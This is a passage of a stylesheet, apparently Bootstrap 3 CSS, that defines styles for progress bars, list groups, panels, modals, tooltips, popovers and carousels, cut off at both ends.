-webkit-box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n box-shadow: inset 0 1px 2px rgba(0, 0, 0, 0.1);\n}\n.progress-bar {\n float: left;\n width: 0%;\n height: 100%;\n font-size: 12px;\n line-height: 20px;\n color: #ffffff;\n text-align: center;\n background-color: #337ab7;\n -webkit-box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n box-shadow: inset 0 -1px 0 rgba(0, 0, 0, 0.15);\n -webkit-transition: width 0.6s ease;\n -o-transition: width 0.6s ease;\n transition: width 0.6s ease;\n}\n.progress-striped .progress-bar,\n.progress-bar-striped {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-size: 40px 40px;\n}\n.progress.active .progress-bar,\n.progress-bar.active {\n -webkit-animation: progress-bar-stripes 2s linear infinite;\n -o-animation: progress-bar-stripes 2s linear infinite;\n animation: progress-bar-stripes 2s linear infinite;\n}\n.progress-bar-success {\n background-color: #5cb85c;\n}\n.progress-striped .progress-bar-success {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-info {\n background-color: #5bc0de;\n}\n.progress-striped .progress-bar-info {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-warning {\n background-color: #f0ad4e;\n}\n.progress-striped .progress-bar-warning {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.progress-bar-danger {\n background-color: #d9534f;\n}\n.progress-striped .progress-bar-danger {\n background-image: -webkit-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: -o-linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n background-image: linear-gradient(45deg, rgba(255, 255, 255, 0.15) 25%, transparent 25%, transparent 50%, rgba(255, 255, 255, 0.15) 50%, rgba(255, 255, 255, 0.15) 75%, transparent 75%, transparent);\n}\n.media {\n margin-top: 15px;\n}\n.media:first-child {\n margin-top: 0;\n}\n.media,\n.media-body {\n zoom: 1;\n overflow: hidden;\n}\n.media-body {\n width: 10000px;\n}\n.media-object {\n display: block;\n}\n.media-right,\n.media > .pull-right {\n padding-left: 10px;\n}\n.media-left,\n.media > .pull-left {\n padding-right: 10px;\n}\n.media-left,\n.media-right,\n.media-body {\n display: table-cell;\n vertical-align: top;\n}\n.media-middle {\n vertical-align: middle;\n}\n.media-bottom {\n vertical-align: bottom;\n}\n.media-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.media-list {\n padding-left: 0;\n list-style: none;\n}\n.list-group {\n margin-bottom: 20px;\n padding-left: 0;\n}\n.list-group-item {\n position: relative;\n display: block;\n padding: 10px 15px;\n margin-bottom: -1px;\n background-color: #ffffff;\n border: 1px solid #dddddd;\n}\n.list-group-item:first-child {\n border-top-right-radius: 4px;\n border-top-left-radius: 4px;\n}\n.list-group-item:last-child {\n margin-bottom: 0;\n border-bottom-right-radius: 4px;\n border-bottom-left-radius: 4px;\n}\na.list-group-item {\n color: #555555;\n}\na.list-group-item .list-group-item-heading {\n color: #333333;\n}\na.list-group-item:hover,\na.list-group-item:focus {\n text-decoration: none;\n color: #555555;\n background-color: #f5f5f5;\n}\n.list-group-item.disabled,\n.list-group-item.disabled:hover,\n.list-group-item.disabled:focus {\n background-color: #eeeeee;\n color: #777777;\n cursor: not-allowed;\n}\n.list-group-item.disabled .list-group-item-heading,\n.list-group-item.disabled:hover .list-group-item-heading,\n.list-group-item.disabled:focus .list-group-item-heading {\n color: inherit;\n}\n.list-group-item.disabled .list-group-item-text,\n.list-group-item.disabled:hover .list-group-item-text,\n.list-group-item.disabled:focus .list-group-item-text {\n color: #777777;\n}\n.list-group-item.active,\n.list-group-item.active:hover,\n.list-group-item.active:focus {\n z-index: 2;\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.list-group-item.active .list-group-item-heading,\n.list-group-item.active:hover .list-group-item-heading,\n.list-group-item.active:focus .list-group-item-heading,\n.list-group-item.active .list-group-item-heading > small,\n.list-group-item.active:hover .list-group-item-heading > small,\n.list-group-item.active:focus .list-group-item-heading > small,\n.list-group-item.active .list-group-item-heading > .small,\n.list-group-item.active:hover .list-group-item-heading > .small,\n.list-group-item.active:focus .list-group-item-heading > .small {\n color: inherit;\n}\n.list-group-item.active .list-group-item-text,\n.list-group-item.active:hover .list-group-item-text,\n.list-group-item.active:focus .list-group-item-text {\n color: #c7ddef;\n}\n.list-group-item-success {\n color: #3c763d;\n background-color: #dff0d8;\n}\na.list-group-item-success {\n color: #3c763d;\n}\na.list-group-item-success .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-success:hover,\na.list-group-item-success:focus {\n color: #3c763d;\n background-color: #d0e9c6;\n}\na.list-group-item-success.active,\na.list-group-item-success.active:hover,\na.list-group-item-success.active:focus {\n color: #fff;\n background-color: #3c763d;\n border-color: #3c763d;\n}\n.list-group-item-info {\n color: #31708f;\n background-color: #d9edf7;\n}\na.list-group-item-info {\n color: #31708f;\n}\na.list-group-item-info .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-info:hover,\na.list-group-item-info:focus {\n color: #31708f;\n background-color: #c4e3f3;\n}\na.list-group-item-info.active,\na.list-group-item-info.active:hover,\na.list-group-item-info.active:focus {\n color: #fff;\n background-color: #31708f;\n border-color: #31708f;\n}\n.list-group-item-warning {\n color: #8a6d3b;\n background-color: #fcf8e3;\n}\na.list-group-item-warning {\n color: #8a6d3b;\n}\na.list-group-item-warning .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-warning:hover,\na.list-group-item-warning:focus {\n color: #8a6d3b;\n background-color: #faf2cc;\n}\na.list-group-item-warning.active,\na.list-group-item-warning.active:hover,\na.list-group-item-warning.active:focus {\n color: #fff;\n background-color: #8a6d3b;\n border-color: #8a6d3b;\n}\n.list-group-item-danger {\n color: #a94442;\n background-color: #f2dede;\n}\na.list-group-item-danger {\n color: #a94442;\n}\na.list-group-item-danger .list-group-item-heading {\n color: inherit;\n}\na.list-group-item-danger:hover,\na.list-group-item-danger:focus {\n color: #a94442;\n background-color: #ebcccc;\n}\na.list-group-item-danger.active,\na.list-group-item-danger.active:hover,\na.list-group-item-danger.active:focus {\n color: #fff;\n background-color: #a94442;\n border-color: #a94442;\n}\n.list-group-item-heading {\n margin-top: 0;\n margin-bottom: 5px;\n}\n.list-group-item-text {\n margin-bottom: 0;\n line-height: 1.3;\n}\n.panel {\n margin-bottom: 20px;\n background-color: #ffffff;\n border: 1px solid transparent;\n border-radius: 4px;\n -webkit-box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.panel-body {\n padding: 15px;\n}\n.panel-heading {\n padding: 10px 15px;\n border-bottom: 1px solid transparent;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel-heading > .dropdown .dropdown-toggle {\n color: inherit;\n}\n.panel-title {\n margin-top: 0;\n margin-bottom: 0;\n font-size: 16px;\n color: inherit;\n}\n.panel-title > a,\n.panel-title > small,\n.panel-title > .small,\n.panel-title > small > a,\n.panel-title > .small > a {\n color: inherit;\n}\n.panel-footer {\n padding: 10px 15px;\n background-color: #f5f5f5;\n border-top: 1px solid #dddddd;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .list-group,\n.panel > .panel-collapse > .list-group {\n margin-bottom: 0;\n}\n.panel > .list-group .list-group-item,\n.panel > .panel-collapse > .list-group .list-group-item {\n border-width: 1px 0;\n border-radius: 0;\n}\n.panel > .list-group:first-child .list-group-item:first-child,\n.panel > .panel-collapse > .list-group:first-child .list-group-item:first-child {\n border-top: 0;\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .list-group:last-child .list-group-item:last-child,\n.panel > .panel-collapse > .list-group:last-child .list-group-item:last-child {\n border-bottom: 0;\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel-heading + .list-group .list-group-item:first-child {\n border-top-width: 0;\n}\n.list-group + .panel-footer {\n border-top-width: 0;\n}\n.panel > .table,\n.panel > .table-responsive > .table,\n.panel > .panel-collapse > .table {\n margin-bottom: 0;\n}\n.panel > .table caption,\n.panel > .table-responsive > .table caption,\n.panel > .panel-collapse > .table caption {\n padding-left: 15px;\n padding-right: 15px;\n}\n.panel > .table:first-child,\n.panel > .table-responsive:first-child > .table:first-child {\n border-top-right-radius: 3px;\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child {\n border-top-left-radius: 3px;\n border-top-right-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:first-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:first-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:first-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:first-child {\n border-top-left-radius: 3px;\n}\n.panel > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child td:last-child,\n.panel > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > thead:first-child > tr:first-child th:last-child,\n.panel > .table:first-child > tbody:first-child > tr:first-child th:last-child,\n.panel > .table-responsive:first-child > .table:first-child > tbody:first-child > tr:first-child th:last-child {\n border-top-right-radius: 3px;\n}\n.panel > .table:last-child,\n.panel > .table-responsive:last-child > .table:last-child {\n border-bottom-right-radius: 3px;\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child {\n border-bottom-left-radius: 3px;\n border-bottom-right-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:first-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:first-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:first-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:first-child {\n border-bottom-left-radius: 3px;\n}\n.panel > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child td:last-child,\n.panel > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tbody:last-child > tr:last-child th:last-child,\n.panel > .table:last-child > tfoot:last-child > tr:last-child th:last-child,\n.panel > .table-responsive:last-child > .table:last-child > tfoot:last-child > tr:last-child th:last-child {\n border-bottom-right-radius: 3px;\n}\n.panel > .panel-body + .table,\n.panel > .panel-body + .table-responsive,\n.panel > .table + .panel-body,\n.panel > .table-responsive + .panel-body {\n border-top: 1px solid #dddddd;\n}\n.panel > .table > tbody:first-child > tr:first-child th,\n.panel > .table > tbody:first-child > tr:first-child td {\n border-top: 0;\n}\n.panel > .table-bordered,\n.panel > .table-responsive > .table-bordered {\n border: 0;\n}\n.panel > .table-bordered > thead > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:first-child,\n.panel > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:first-child,\n.panel > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n.panel > .table-bordered > thead > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:first-child,\n.panel > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:first-child,\n.panel > .table-bordered > tfoot > tr > td:first-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n}\n.panel > .table-bordered > thead > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > th:last-child,\n.panel > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > th:last-child,\n.panel > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n.panel > .table-bordered > thead > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > thead > tr > td:last-child,\n.panel > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tbody > tr > td:last-child,\n.panel > .table-bordered > tfoot > tr > td:last-child,\n.panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n}\n.panel > .table-bordered > thead > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > td,\n.panel > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > td,\n.panel > .table-bordered > thead > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > thead > tr:first-child > th,\n.panel > .table-bordered > tbody > tr:first-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:first-child > th {\n border-bottom: 0;\n}\n.panel > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > td,\n.panel > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td,\n.panel > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tbody > tr:last-child > th,\n.panel > .table-bordered > tfoot > tr:last-child > th,\n.panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th {\n border-bottom: 0;\n}\n.panel > .table-responsive {\n border: 0;\n margin-bottom: 0;\n}\n.panel-group {\n margin-bottom: 20px;\n}\n.panel-group .panel {\n margin-bottom: 0;\n border-radius: 4px;\n}\n.panel-group .panel + .panel {\n margin-top: 5px;\n}\n.panel-group .panel-heading {\n border-bottom: 0;\n}\n.panel-group .panel-heading + .panel-collapse > .panel-body,\n.panel-group .panel-heading + .panel-collapse > .list-group {\n border-top: 1px solid #dddddd;\n}\n.panel-group .panel-footer {\n border-top: 0;\n}\n.panel-group .panel-footer + .panel-collapse .panel-body {\n border-bottom: 1px solid #dddddd;\n}\n.panel-default {\n border-color: #dddddd;\n}\n.panel-default > .panel-heading {\n color: #333333;\n background-color: #f5f5f5;\n border-color: #dddddd;\n}\n.panel-default > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #dddddd;\n}\n.panel-default > .panel-heading .badge {\n color: #f5f5f5;\n background-color: #333333;\n}\n.panel-default > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #dddddd;\n}\n.panel-primary {\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading {\n color: #ffffff;\n background-color: #337ab7;\n border-color: #337ab7;\n}\n.panel-primary > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #337ab7;\n}\n.panel-primary > .panel-heading .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.panel-primary > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #337ab7;\n}\n.panel-success {\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading {\n color: #3c763d;\n background-color: #dff0d8;\n border-color: #d6e9c6;\n}\n.panel-success > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #d6e9c6;\n}\n.panel-success > .panel-heading .badge {\n color: #dff0d8;\n background-color: #3c763d;\n}\n.panel-success > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #d6e9c6;\n}\n.panel-info {\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading {\n color: #31708f;\n background-color: #d9edf7;\n border-color: #bce8f1;\n}\n.panel-info > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #bce8f1;\n}\n.panel-info > .panel-heading .badge {\n color: #d9edf7;\n background-color: #31708f;\n}\n.panel-info > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #bce8f1;\n}\n.panel-warning {\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading {\n color: #8a6d3b;\n background-color: #fcf8e3;\n border-color: #faebcc;\n}\n.panel-warning > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #faebcc;\n}\n.panel-warning > .panel-heading .badge {\n color: #fcf8e3;\n background-color: #8a6d3b;\n}\n.panel-warning > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #faebcc;\n}\n.panel-danger {\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading {\n color: #a94442;\n background-color: #f2dede;\n border-color: #ebccd1;\n}\n.panel-danger > .panel-heading + .panel-collapse > .panel-body {\n border-top-color: #ebccd1;\n}\n.panel-danger > .panel-heading .badge {\n color: #f2dede;\n background-color: #a94442;\n}\n.panel-danger > .panel-footer + .panel-collapse > .panel-body {\n border-bottom-color: #ebccd1;\n}\n.embed-responsive {\n position: relative;\n display: block;\n height: 0;\n padding: 0;\n overflow: hidden;\n}\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n left: 0;\n bottom: 0;\n height: 100%;\n width: 100%;\n border: 0;\n}\n.embed-responsive-16by9 {\n padding-bottom: 56.25%;\n}\n.embed-responsive-4by3 {\n padding-bottom: 75%;\n}\n.well {\n min-height: 20px;\n padding: 19px;\n margin-bottom: 20px;\n background-color: #f5f5f5;\n border: 1px solid #e3e3e3;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05);\n}\n.well blockquote {\n border-color: #ddd;\n border-color: rgba(0, 0, 0, 0.15);\n}\n.well-lg {\n padding: 24px;\n border-radius: 6px;\n}\n.well-sm {\n padding: 9px;\n border-radius: 3px;\n}\n.close {\n float: right;\n font-size: 21px;\n font-weight: bold;\n line-height: 1;\n color: #000000;\n text-shadow: 0 1px 0 #ffffff;\n opacity: 0.2;\n filter: alpha(opacity=20);\n}\n.close:hover,\n.close:focus {\n color: #000000;\n text-decoration: none;\n cursor: pointer;\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\nbutton.close {\n padding: 0;\n cursor: pointer;\n background: transparent;\n border: 0;\n -webkit-appearance: none;\n}\n.modal-open {\n overflow: hidden;\n}\n.modal {\n display: none;\n overflow: hidden;\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1050;\n -webkit-overflow-scrolling: touch;\n outline: 0;\n}\n.modal.fade .modal-dialog {\n -webkit-transform: translate(0, -25%);\n -ms-transform: translate(0, -25%);\n -o-transform: translate(0, -25%);\n transform: translate(0, -25%);\n -webkit-transition: -webkit-transform 0.3s ease-out;\n -moz-transition: -moz-transform 0.3s ease-out;\n -o-transition: -o-transform 0.3s ease-out;\n transition: transform 0.3s ease-out;\n}\n.modal.in .modal-dialog {\n -webkit-transform: translate(0, 0);\n -ms-transform: translate(0, 0);\n -o-transform: translate(0, 0);\n transform: translate(0, 0);\n}\n.modal-open .modal {\n overflow-x: hidden;\n overflow-y: auto;\n}\n.modal-dialog {\n position: relative;\n width: auto;\n margin: 10px;\n}\n.modal-content {\n position: relative;\n background-color: #ffffff;\n border: 1px solid #999999;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n box-shadow: 0 3px 9px rgba(0, 0, 0, 0.5);\n background-clip: padding-box;\n outline: 0;\n}\n.modal-backdrop {\n position: fixed;\n top: 0;\n right: 0;\n bottom: 0;\n left: 0;\n z-index: 1040;\n background-color: #000000;\n}\n.modal-backdrop.fade {\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.modal-backdrop.in {\n opacity: 0.5;\n filter: alpha(opacity=50);\n}\n.modal-header {\n padding: 15px;\n border-bottom: 1px solid #e5e5e5;\n min-height: 16.42857143px;\n}\n.modal-header .close {\n margin-top: -2px;\n}\n.modal-title {\n margin: 0;\n line-height: 1.42857143;\n}\n.modal-body {\n position: relative;\n padding: 15px;\n}\n.modal-footer {\n padding: 15px;\n text-align: right;\n border-top: 1px solid #e5e5e5;\n}\n.modal-footer .btn + .btn {\n margin-left: 5px;\n margin-bottom: 0;\n}\n.modal-footer .btn-group .btn + .btn {\n margin-left: -1px;\n}\n.modal-footer .btn-block + .btn-block {\n margin-left: 0;\n}\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n@media (min-width: 768px) {\n .modal-dialog {\n width: 600px;\n margin: 30px auto;\n }\n .modal-content {\n -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5);\n }\n .modal-sm {\n width: 300px;\n }\n}\n@media (min-width: 992px) {\n .modal-lg {\n width: 900px;\n }\n}\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 12px;\n font-weight: normal;\n line-height: 1.4;\n opacity: 0;\n filter: alpha(opacity=0);\n}\n.tooltip.in {\n opacity: 0.9;\n filter: alpha(opacity=90);\n}\n.tooltip.top {\n margin-top: -3px;\n padding: 5px 0;\n}\n.tooltip.right {\n margin-left: 3px;\n padding: 0 5px;\n}\n.tooltip.bottom {\n margin-top: 3px;\n padding: 5px 0;\n}\n.tooltip.left {\n margin-left: -3px;\n padding: 0 5px;\n}\n.tooltip-inner {\n max-width: 200px;\n padding: 3px 8px;\n color: #ffffff;\n text-align: center;\n text-decoration: none;\n background-color: #000000;\n border-radius: 4px;\n}\n.tooltip-arrow {\n position: absolute;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.tooltip.top .tooltip-arrow {\n bottom: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.top-left .tooltip-arrow {\n bottom: 0;\n right: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.top-right .tooltip-arrow {\n bottom: 0;\n left: 5px;\n margin-bottom: -5px;\n border-width: 5px 5px 0;\n border-top-color: #000000;\n}\n.tooltip.right .tooltip-arrow {\n top: 50%;\n left: 0;\n margin-top: -5px;\n border-width: 5px 5px 5px 0;\n border-right-color: #000000;\n}\n.tooltip.left .tooltip-arrow {\n top: 50%;\n right: 0;\n margin-top: -5px;\n border-width: 5px 0 5px 5px;\n border-left-color: #000000;\n}\n.tooltip.bottom .tooltip-arrow {\n top: 0;\n left: 50%;\n margin-left: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.tooltip.bottom-left .tooltip-arrow {\n top: 0;\n right: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.tooltip.bottom-right .tooltip-arrow {\n top: 0;\n left: 5px;\n margin-top: -5px;\n border-width: 0 5px 5px;\n border-bottom-color: #000000;\n}\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: none;\n max-width: 276px;\n padding: 1px;\n font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n font-size: 14px;\n font-weight: normal;\n line-height: 1.42857143;\n text-align: left;\n background-color: #ffffff;\n background-clip: padding-box;\n border: 1px solid #cccccc;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 6px;\n -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n box-shadow: 0 5px 10px rgba(0, 0, 0, 0.2);\n white-space: normal;\n}\n.popover.top {\n margin-top: -10px;\n}\n.popover.right {\n margin-left: 10px;\n}\n.popover.bottom {\n margin-top: 10px;\n}\n.popover.left {\n margin-left: -10px;\n}\n.popover-title {\n margin: 0;\n padding: 8px 14px;\n font-size: 14px;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-radius: 5px 5px 0 0;\n}\n.popover-content {\n padding: 9px 14px;\n}\n.popover > .arrow,\n.popover > .arrow:after {\n position: absolute;\n display: block;\n width: 0;\n height: 0;\n border-color: transparent;\n border-style: solid;\n}\n.popover > .arrow {\n border-width: 11px;\n}\n.popover > .arrow:after {\n border-width: 10px;\n content: \"\";\n}\n.popover.top > .arrow {\n left: 50%;\n margin-left: -11px;\n border-bottom-width: 0;\n border-top-color: #999999;\n border-top-color: rgba(0, 0, 0, 0.25);\n bottom: -11px;\n}\n.popover.top > .arrow:after {\n content: \" \";\n bottom: 1px;\n margin-left: -10px;\n border-bottom-width: 0;\n border-top-color: #ffffff;\n}\n.popover.right > .arrow {\n top: 50%;\n left: -11px;\n margin-top: -11px;\n border-left-width: 0;\n border-right-color: #999999;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n.popover.right > .arrow:after {\n content: \" \";\n left: 1px;\n bottom: -10px;\n border-left-width: 0;\n border-right-color: #ffffff;\n}\n.popover.bottom > .arrow {\n left: 50%;\n margin-left: -11px;\n border-top-width: 0;\n border-bottom-color: #999999;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n top: -11px;\n}\n.popover.bottom > .arrow:after {\n content: \" \";\n top: 1px;\n margin-left: -10px;\n border-top-width: 0;\n border-bottom-color: #ffffff;\n}\n.popover.left > .arrow {\n top: 50%;\n right: -11px;\n margin-top: -11px;\n border-right-width: 0;\n border-left-color: #999999;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n.popover.left > .arrow:after {\n content: \" \";\n right: 1px;\n border-right-width: 0;\n border-left-color: #ffffff;\n bottom: -10px;\n}\n.carousel {\n position: relative;\n}\n.carousel-inner {\n position: relative;\n overflow: hidden;\n width: 100%;\n}\n.carousel-inner > .item {\n display: none;\n position: relative;\n -webkit-transition: 0.6s ease-in-out left;\n -o-transition: 0.6s ease-in-out left;\n transition: 0.6s ease-in-out left;\n}\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n line-height: 1;\n}\n@media all and (transform-3d), (-webkit-transform-3d) {\n .carousel-inner > .item {\n -webkit-transition: 